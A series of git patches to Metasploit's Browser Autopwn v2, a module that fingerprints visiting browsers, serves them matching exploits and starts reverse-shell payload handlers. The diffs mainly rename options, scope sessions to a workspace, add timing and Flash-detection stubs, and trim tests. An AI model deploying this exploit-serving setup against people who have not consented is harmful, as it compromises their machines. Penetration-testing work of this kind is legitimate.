b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -54,8 +54,8 @@ module Msf next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" # The user gets to specify which modules to include/exclude - next if datastore['Include'] && fullname !~ datastore['Include'] - next if datastore['Exclude'] && fullname =~ datastore['Exclude'] + next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN'] + next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN'] mod = framework.exploits.create(fullname) unless mod @@ -248,7 +248,7 @@ module Msf @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| - break if @bap_exploits.length >= datastore['MaxExploits'] + break if @bap_exploits.length >= datastore['MaxExploitCount'] @bap_exploits << m end end @@ -301,7 +301,7 @@ module Msf # @return [void] def start_payload_listeners # Spawn nothing if the user doesn't want to pop sessions. - return if datastore['MaxSessions'] == 0 + return if datastore['MaxSessionCount'] == 0 # Don't repeat launching payload handlers wanted_payloads.uniq! { |e| e[:payload_name] } @@ -469,7 +469,7 @@ module Msf @wanted_payloads = [] # #split might be expensive if the file is really big - @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil + @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil print_status("Searching BES exploits, please wait...") init_exploits @@ -603,8 +603,8 @@ module Msf end end - if datastore['RealList'] - show_real_list(cli.peerhost, tag, current_exploit_list) + if datastore['ShowExploitList'] + show_exploit_list(cli.peerhost, tag, current_exploit_list) end current_exploit_list @@ -630,7 +630,7 @@ module Msf # @see #sort_bap_exploits Explains how the exploit list is generated at first. # @see #get_suitable_exploits Explains how we serve exploits to each client. # @return [void] - def show_real_list(ip, tag, current_exploit_list) + def show_exploit_list(ip, tag, current_exploit_list) order = 1 table = Rex::Ui::Text::Table.new( 'Header' => '', @@ -711,6 +711,7 @@ module Msf # # @return [Fixnum] A session count. def session_count + # TODO: Restrict these to the active workspace total = 0 payload_job_ids.each do |id| @@ -737,21 +738,21 @@ module Msf def build_html(cli, request) exploit_list = get_exploit_urls(cli, request) - if datastore['MaxSessions'] > -1 && session_count >= datastore['MaxSessions'] - print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessions']}") - if datastore['Content'].blank? + if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount'] + print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}") + if datastore['HTMLContent'].blank? send_not_found(cli) return '' else - return datastore['Content'] + return datastore['HTMLContent'] end elsif exploit_list.empty? print_status("No suitable exploits to send.") - if datastore['Content'].blank? + if datastore['HTMLContent'].blank? send_not_found(cli) return '' else - return datastore['Content'] + return datastore['HTMLContent'] end end @@ -807,7 +808,7 @@ module Msf - #{datastore['Content']}| + #{datastore['HTMLContent']}| end end diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 1a09d7f176..95a70337ee 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -72,16 +72,17 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), - OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), - OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), - OptString.new('Content', [false, 'HTML Content', '']), - OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]), - OptInt.new('MaxSessions', [false, 'Number of sessions to get', -1]), - OptBool.new('RealList', [true, "Show which exploits will actually be served to each client", false]) - ] ,self.class) + OptRegexp.new('INCLUDE_PATTERN', [false, 'Pattern search to include specific modules']), + OptRegexp.new('EXCLUDE_PATTERN', [false, 'Pattern search to exclude specific modules']) + ], self.class) - deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') + register_advanced_options([ + OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 20]), + OptString.new('HTMLContent', [false, 'HTML Content', '']), + OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), + OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), + OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false]) + ] ,self.class) end def get_advanced_options diff --git a/scripts/resource/bap_all.rc b/scripts/resource/bap_all.rc index 53b88fc334..6f17d516f5 100644 --- a/scripts/resource/bap_all.rc +++ b/scripts/resource/bap_all.rc @@ -1,6 +1,6 @@ run_single("use auxiliary/server/browser_autopwn2") -run_single("set RealList true") +run_single("set ShowExploitList true") run_single("set VERBOSE true") run_single("run") diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index 8b4d206dde..a8e6299d81 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -3,14 +3,14 @@ print_status("Starting BAP...") print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.") print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set RealList true") -run_single("set MaxSessions 0") +run_single("set ShowExploitList true") +run_single("set MaxSessionCount 0") # Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website # For example (why don't you try this? :-) ) # run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") -run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") +run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") run_single("run") diff --git a/scripts/resource/bap_firefox_only.rc b/scripts/resource/bap_firefox_only.rc index d48f064d73..63b4e03f7d 100644 --- a/scripts/resource/bap_firefox_only.rc +++ b/scripts/resource/bap_firefox_only.rc @@ -2,7 +2,7 @@ print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.") print_status("Older Firefox exploits don't use BES, therefore will not be loaded.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set Include (mozilla_firefox|firefox)_") -run_single("set RealList true") +run_single("set INCLUDE_PATTERN (mozilla_firefox|firefox)_") +run_single("set ShowExploitList true") run_single("run") diff --git a/scripts/resource/bap_flash_only.rc b/scripts/resource/bap_flash_only.rc index c7cb25d4d2..23258602ab 100644 --- a/scripts/resource/bap_flash_only.rc +++ b/scripts/resource/bap_flash_only.rc @@ -2,7 +2,7 @@ print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.") print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set Include adobe_flash") -run_single("set RealList true") +run_single("set INCLUDE_PATTERN adobe_flash") +run_single("set ShowExploitList true") run_single("run") diff --git a/scripts/resource/bap_ie_only.rc b/scripts/resource/bap_ie_only.rc index 56840c5cbd..0e31ebf867 100644 --- a/scripts/resource/bap_ie_only.rc +++ b/scripts/resource/bap_ie_only.rc @@ -2,7 +2,7 @@ print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.") print_status("Older IE exploits don't use BES, therefore will not be loaded.") run_single("use auxiliary/server/browser_autopwn2") -run_single("set Include (ms\\\\d\\\\d_\\\\d+|ie)_") -run_single("set RealList true") +run_single("set INCLUDE_PATTERN (ms\\\\d\\\\d_\\\\d+|ie)_") +run_single("set ShowExploitList true") run_single("run") From 31505496341dbef693dfe5c1a0bed8b9ac76b2fc Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 5 Jul 2015 19:07:10 -0500 Subject: [PATCH 109/150] Experimental output show/hide for BAPv2 --- lib/msf/core/exploit/browser_autopwnv2.rb | 27 ++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index deb961545e..a75b95cf02 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,7 +63,6 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - @bap_exploits << mod end end @@ -109,6 +108,7 @@ module Msf # @return [void] def cleanup super + configure_job_output(false) clear_browser_profiles rm_exploit_jobs rm_payload_jobs @@ -337,8 +337,8 @@ module Msf # Now we're ready to start the handler multi_handler.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, + 'LocalInput' => nil, + 'LocalOutput' => nil, 'Payload' => payload_name, 'RunAsJob' => true ) @@ -443,8 +443,8 @@ module Msf bap_exploits.each do |m| set_exploit_options(m) m.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, + 'LocalInput' => nil, + 'LocalOutput' => nil, 'Target' => 0, 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true @@ -483,6 +483,23 @@ module Msf t2 = Time.now print_status("Time spent: #{(t2-t1).inspect}") + + configure_job_output(true) + end + + # Configures the output of sub-jobs + # + # @return [void] + def configure_job_output(on=true) + (@exploit_job_ids + @payload_job_ids).each do |jid| + job = framework.jobs[jid.to_s] + next unless job + job.ctx.each do |m| + next unless m.respond_to? :user_output + m.user_output = on ? self.user_output : nil + break + end + end end From 4a70e23f9aa0ec81d409945b8d5f105783732922 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Jul 2015 19:20:15 -0500 Subject: [PATCH 110/150] Add ExploitReloadTimeout datastore option Some exploits require more time, and if we try the next exploit too soon, it may crash the browser. --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- modules/auxiliary/server/browser_autopwn2.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index a75b95cf02..9e59061fd3 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -811,7 +811,7 @@ module Msf var firstUri = exploitList.splice(0, 1); if (firstUri != '') { e.setAttribute("src", firstUri); - setTimeout("loadExploit()", 1000); + setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']}); } } | diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 95a70337ee..8c8d967344 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -77,6 +77,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) register_advanced_options([ + OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 20]), OptString.new('HTMLContent', [false, 'HTML Content', '']), OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), From a9eeae56cb59e51a90bf5c83b65c7dc3581d5084 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Jul 2015 22:24:32 -0500 Subject: [PATCH 111/150] Remove the broken parts in browser_autopwnv2_spec --- .../core/exploit/browser_autopwnv2_spec.rb | 88 +------------------ 1 file changed, 1 insertion(+), 87 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index eef314059e..2e811b8696 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -391,23 +391,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#note_type_prefix' do - it 'returns an unique note type' do - expect(subject.note_type_prefix).to match(/^BAP\.\d+\.Client$/) - end - end - - describe '#rm_target_info_notes' do - before(:each) do - allow(subject).to receive(:note_type_prefix).and_return("#{note_type_prefix}.#{profile_tag}") - end - - it 'empties target_info_notes' do - subject.rm_target_info_notes - expect(subject.framework.db.notes).to be_empty - end - end - context 'when removing jobs' do describe '#rm_exploit_jobs' do before(:each) do @@ -456,9 +439,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do expect(xploit.datastore['URIPATH']).to match(/^\/\w+/) end - it 'sets Msf::Exploit::Remote::BrowserAutopwnv2 as MODULEOWNER' do - expect(xploit.datastore['MODULEOWNER']).to eq(Msf::Exploit::Remote::BrowserAutopwnv2) - end end end @@ -535,7 +515,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do it 'returns one exploit' do expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3) - allow(subject).to receive(:datastore).and_return({'MaxExploits'=>1}) + allow(subject).to receive(:datastore).and_return({'MaxExploitCount'=>1}) subject.finalize_sorted_modules(bap_groups) expect(subject.instance_variable_get(:@bap_exploits).length).to eq(1) end @@ -738,23 +718,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#show_real_list' do - before(:each) do - allow(subject).to receive(:set_exploit_options) - subject.instance_variable_set(:@bap_exploits, []) - subject.init_exploits - allow(subject).to receive(:retrieve_tag) - unpacked_profile = MessagePack.unpack(profile_packed_data) - allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) - end - - it 'shows exploits' do - suitable_exploits = subject.get_suitable_exploits(cli, cli_req) - output = get_stdout { subject.show_real_list('127.0.0.1', profile_tag, suitable_exploits) } - expect(output).to include('ms14_064_ole_code_execution') - end - end - describe '#set_payload' do it 'shows set_payload' do output = get_stdout { subject.set_payload } @@ -763,25 +726,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#get_suitable_exploits' do - before(:each) do - allow(subject).to receive(:set_exploit_options) - subject.instance_variable_set(:@bap_exploits, []) - subject.init_exploits - allow(subject).to receive(:retrieve_tag) - unpacked_profile = MessagePack.unpack(profile_packed_data) - allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) - end - - context 'when client is Windows' do - it 'returns ms14_064' do - suitable_exploits = subject.get_suitable_exploits(cli, cli_req) - expect(suitable_exploits.length).to eq(1) - expect(suitable_exploits.first.fullname).to eq('windows/browser/ms14_064_ole_code_execution') - end - end - end - describe '#log_click' do let(:ip) { '192.168.1.123' } @@ -827,35 +771,5 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#build_html' do - before(:each) do - ms14_064 = create_fake_ms14_064 - allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064]) - url_list = subject.get_exploit_urls(cli, cli_req) - allow(subject).to receive(:get_exploit_urls).and_return(url_list) - end - - let(:html) do - subject.build_html(cli, cli_req) - end - - context 'it returns javascript functions' do - it 'contains the setElementStyle function' do - expect(html).to match(/function setElementStyle/) - end - - it 'contains the moveIframe function' do - expect(html).to match(/function moveIframe/) - end - - it 'contains the onload function' do - expect(html).to match(/window\.onload = function/) - end - - it 'contains the loadExploit function' do - expect(html).to match(/function loadExploit/) - end - end - end end \ No newline at end of file From 9a1500ee966c4e6e2ac4c992ecd5d725695053b0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Jul 2015 22:31:07 -0500 Subject: [PATCH 112/150] Change module name a little bit, makes it easier to find in GUI --- modules/auxiliary/server/browser_autopwn2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 8c8d967344..96558e0c26 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "HTTP Client Automatic Exploiter (Browser Autopwn)", + 'Name' => "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", 'Description' => %q{ This module will automatically serve browser exploits. Here are the options you can configure: From 6d30dfd93e536f5f25c48b2d43976c7e84cd936d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Jul 2015 23:28:52 -0500 Subject: [PATCH 113/150] Remove the parts that are not broken for BES spec --- .../remote/browser_exploit_server_spec.rb | 74 +------------------ 1 file changed, 1 insertion(+), 73 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 74a3620147..78efa7e5d8 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -113,43 +113,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe '#get_bad_requirements' do - let(:this_profile) do - MessagePack.unpack(first_packed_profile) - end - - let(:requirements) { {} } - - before(:each) do - r = server.instance_variable_get(:@requirements) - requirements.each_pair do |key, value| - r[key] = value - end - - server.instance_variable_set(:@requirements, r) - end - - context 'when all requirements are met' do - let(:requirements) { first_profile_info } - it 'returns an empty bad requirement array' do - expect(server.get_bad_requirements(this_profile)).to be_empty - end - end - - context 'when the os_name requirement is not met' do - let(:requirements) { {'os_name'=>'Linux'} } - it 'returns os_name in the array as a bad requirement' do - expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) - end - end - - context 'when a Linux regex cannot match a Winodws os_name' do - let(:requirements) { {'os_name'=>/Linux/} } - it 'returns os_name in the array as a bad requirement' do - expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) - end - end - end describe '#get_detection_html' do it "returns the detection code that the client will get" do @@ -179,30 +142,11 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe '#try_set_target' do - let(:fake_targets) do - target = double('Msf::Module::Target') - allow(target).to receive(:opts) { first_profile_info } - [target] - end - - before(:each) do - allow_any_instance_of(described_class).to receive(:targets) { fake_targets } - end - - context 'when requirements match a target' do - it 'sets @target' do - expect(server.get_target).to be_nil - server.try_set_target(MessagePack.unpack(first_packed_profile)) - expect(server.get_target).to eq(fake_targets.first) - end - end - end describe 'extract_requirements' do context 'when a recognizable requirement is given' do it 'returns a hash that contains the recognizable requirement' do - expected_hash = {'os_name'=>'Linux'} + expected_hash = {:os_name=>'Linux'} expect(server.extract_requirements(expected_hash)).to eq(expected_hash) end end @@ -269,13 +213,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do @on_request_exploit_called = false end - context 'when / is requested' do - it 'sends the information gathering page' do - cli_request = Rex::Proto::Http::Request.new - server.on_request_uri(cli, cli_request) - expect(@send_redirect_called).to be_truthy - end - end context 'when info_receiver_page is requested' do it 'sends an empty page' do @@ -297,15 +234,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - context 'when exploit_receiver_page is requested' do - it 'calls on_request_exploit' do - exploit_receiver_page_var = server.instance_variable_get(:@exploit_receiver_page) - cli_request = Rex::Proto::Http::Request.new - cli_request.uri = exploit_receiver_page_var - server.on_request_uri(cli, cli_request) - expect(@on_request_exploit_called).to be_truthy - end - end end describe '#get_payload' do From dc0ce88279af42db2fbc3c6efb05e633d2a96bcf Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Jul 2015 00:32:20 -0500 Subject: [PATCH 114/150] We're note actually using Mubex, it might be causing a crash too A problem we are seeing is that sometimes when BAP terminates (ie: jobs -K), we hit a deadlock while jobs are trying to cleanup, and sometimes that might cause msfconsole to crash and terminate. We suspect this Mubex is a contributing factor but it has been hard to prove because it's very hard to reproduce the crash. --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 4b7cdffbf0..58599cc2b7 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -108,7 +108,7 @@ module Msf if !custom_404.blank? && custom_404 !~ /^http/i raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) end - @bes_mutex = Mutex.new + super end @@ -144,14 +144,6 @@ module Msf end - # Allows a block of code to access BES resources in a thread-safe fashion - # - # @param block [Proc] Block of code to sync - def sync(&block) - @bes_mutex.synchronize(&block) - end - - # Returns the resource (URI) to the module to allow access to on_request_exploit # # @return [String] URI to the exploit page From 21e44f235e80a56254ccdf26e2d8ba70be396e1b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Jul 2015 13:18:57 -0500 Subject: [PATCH 115/150] Example of doing Flash detection with Flash --- .../exploit/remote/browser_exploit_server.rb | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a757715780..a8c02ae479 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -90,6 +90,8 @@ module Msf @info_receiver_page = rand_text_alpha(5) @exploit_receiver_page = rand_text_alpha(6) @noscript_receiver_page = rand_text_alpha(7) + @flash_receiver_page = rand_text_alpha(8) + @flash_swf = rand_text_alpha(9) register_options( [ @@ -331,6 +333,11 @@ module Msf # Gathering target info from the detection stage case source + when :flash + # Flash version detection + parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') + version_info = 'FLASH VERSION HERE' + update_profile(target_info, :flash, version_info) when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') @@ -411,6 +418,15 @@ module Msf "vuln_test" : <%= js_vuln_test %> }; + if (d["flash"]) { + // Load SWF for accurate Flash detection + // This SWF needs to send the Flash version info as a POST request to BES sort of like this: + // <%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/ + var flashObject = document.createElement("object"); + flashObject.setAttribute("data", "Flash location from the @flash_swf instance variable"); + document.body.appendChild(flashObject); // Do you actually need to do this? + } + <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); @@ -468,6 +484,11 @@ module Msf cookie end + def load_swf_detection + # Your SWF loads here + '' + end + # Handles exploit stages. # @@ -492,6 +513,15 @@ module Msf html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) + when /#{@flash_swf}/ + swf = load_swf_detection + send_response(cli, swf) + + when /#{@flash_receiver_page}/ + vprint_status("Received information from Flash") + process_browser_info(:flash, cli, request) + send_not_found(cli) + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled From 513dcf3574d838c1df6d3fd60cf5dfb5fbf8e823 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 10 Jul 2015 12:12:53 -0500 Subject: [PATCH 116/150] We don't need these methods anymore --- lib/msf/core/exploit/browser_autopwnv2.rb | 40 ----------------------- 1 file changed, 40 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 9e59061fd3..9806cda682 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -558,46 +558,6 @@ module Msf end - # Prints all user-configurable payloads. It's the same as the "show payloads" command in console. - # - # @return [void] - def show_payloads - DEFAULT_PAYLOADS.keys.each do |platform| - payload_name = get_selected_payload_name(platform) - p = framework.payloads.create(payload_name) - next unless p - p.datastore['LHOST'] = get_payload_lhost - p.datastore['LPORT'] = get_selected_payload_lport(platform) - p_opt = Serializer::ReadableText.dump_options(p, ' ') - print("\nPayload options (#{payload_name}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) - end - end - - - # Prints a message that explains how the user should set a payload. This is the same as the - # "set payload" command in console. - # - # @return [void] - def set_payload - print_status("'set payload' has been disabled for BrowserAutoPwn.") - print_status('You should set a platform-specific payload instead via advanced options:') - print_line - table = Rex::Ui::Text::Table.new( - 'Header' => 'Advanced Options', - 'Indent' => 1, - 'Columns' => ['Option Name', 'Description'] - ) - DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - table << ["PAYLOAD_#{platform.to_s.upcase}", "Payload for #{platform} browser exploits"] - end - print_line(table.to_s) - print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") - print_line - print_status("For a list of payloads, you can do: show payloads") - print_status("You can also see 'show advanced' for more options.") - end - - # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits # gives us. It will do a global exploitable requirement check (the best it can do). There's # actually a target-specific exploitable requirement check too, but that is performed in From 086de2c030336d8068f6fd08a93de3bf94d98f2a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 10 Jul 2015 12:39:43 -0500 Subject: [PATCH 117/150] Pass more options --- lib/msf/core/exploit/browser_autopwnv2.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 9806cda682..4b90d7fbf9 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -325,6 +325,15 @@ module Msf multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] + multi_handler.datastore['HandlerSSLCert'] = datastore['HandlerSSLCert'] if datastore['HandlerSSLCert'] + multi_handler.datastore['StagerVerifySSLCert'] = datastore['StagerVerifySSLCert'] if datastore['StagerVerifySSLCert'] + multi_handler.datastore['PayloadUUIDTracking'] = datastore['PayloadUUIDTracking'] if datastore['PayloadUUIDTracking'] + multi_handler.datastore['PayloadUUIDName'] = datastore['PayloadUUIDName'] if datastore['PayloadUUIDName'] + multi_handler.datastore['IgnoreUnknownPayloads'] = datastore['IgnoreUnknownPayloads'] if datastore['IgnoreUnknownPayloads'] + multi_handler.datastore['SessionRetryTotal'] = datastore['SessionRetryTotal'] if datastore['SessionRetryTotal'] + multi_handler.datastore['SessionRetryWait'] = datastore['SessionRetryWait'] if datastore['SessionRetryWait'] + multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout'] + multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout'] # TODO: Pass WORKSPACE and other options down to the sub module From 89aa00cfc482f6326f5ff4c3e24a910a664c357e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 10 Jul 2015 13:09:42 -0500 Subject: [PATCH 118/150] Check job workspace --- lib/msf/core/exploit/browser_autopwnv2.rb | 22 ++++++++++------------ 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 4b90d7fbf9..92a5689538 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -140,11 +140,10 @@ module Msf xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['WORKSPACE'] = self.workspace - # TODO: Pass additional parameters - # TODO: Pass WORKSPACE and other options down to the sub module - # TODO: Add BAPv2 tracking information (?) - # TODO: Change exploit output options? + # TODO: Add BAPv2 tracking information (?) - HD + # TODO: Change exploit output options? - HD end @@ -153,7 +152,7 @@ module Msf # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. - # TODO: Prevent partial prefix match + # TODO: Prevent partial prefix match - HD def is_resource_taken?(resource) taken = false @@ -207,7 +206,7 @@ module Msf # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| - # TODO: Handle wonky dates in local modules better + # TODO: Handle wonky dates in local modules better - HD bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse end end @@ -335,14 +334,11 @@ module Msf multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout'] multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout'] - - # TODO: Pass WORKSPACE and other options down to the sub module - # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['WORKSPACE'] = self.workspace - # TODO: BAPv2 specific options / tracking would go here # Now we're ready to start the handler multi_handler.exploit_simple( @@ -697,11 +693,13 @@ module Msf # # @return [Fixnum] A session count. def session_count - # TODO: Restrict these to the active workspace total = 0 payload_job_ids.each do |id| - total += framework.jobs[id.to_s].ctx.first.session_count + job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE'] + if job_workspace == self.workspace + total += framework.jobs[id.to_s].ctx.first.session_count + end end total From c8c3e1a2585f9d842ddccc30475460a38489a463 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 10 Jul 2015 13:42:25 -0500 Subject: [PATCH 119/150] Fix rspec --- .../core/exploit/browser_autopwnv2_spec.rb | 30 ++++++++----------- 1 file changed, 13 insertions(+), 17 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 2e811b8696..eadd5f8394 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ 